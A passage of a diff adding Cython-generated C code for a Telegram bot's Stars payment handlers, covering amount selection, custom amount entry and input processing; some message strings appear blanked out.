state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_stars) + * + * try: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + __pyx_L57_except_error:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + goto __pyx_L1_error; + __pyx_L56_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + __pyx_L60_try_end:; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/stars_pay.py":102 + * + * + * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_23); + __Pyx_XDECREF(__pyx_t_24); + __Pyx_XDECREF(__pyx_t_25); + __Pyx_AddTraceback("process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/stars_pay.py":155 + * + * + * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_7process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_9stars_pay_7process_enter_custom_amount = {"process_enter_custom_amount", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_9stars_pay_7process_enter_custom_amount, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_7process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 155, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 155, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 155, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 155, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 155, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.stars_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_9stars_pay_6process_enter_custom_amount(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_6process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 155, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_8generator2, __pyx_codeobj__19, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.stars_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L5_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 155, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":159 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":160 + * ): + * builder = InlineKeyboardBuilder() + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_kp_u__20) < 0) __PYX_ERR(0, 160, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_stars) < 0) __PYX_ERR(0, 160, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":162 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":164 + * await callback_query.message.answer( + * ", .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 164, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 164, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 164, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 164, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/stars_pay.py":162 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_stars")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__22, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 162, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 162, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 162, __pyx_L1_error) + } + } + + /* "handlers/payments/stars_pay.py":167 + * ) + * + * await state.set_state(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_stars); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 167, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 167, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 167, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/stars_pay.py":155 + * + * + * @router.callback_query(F.data == "enter_custom_amount_stars") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/stars_pay.py":170 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_stars) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_10process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_9stars_pay_10process_custom_amount_input = {"process_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_9stars_pay_10process_custom_amount_input, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_10process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 170, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 170, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 170, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 170, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_message = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 170, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.stars_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_9stars_pay_9process_custom_amount_input(__pyx_self, __pyx_v_message, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_9process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input 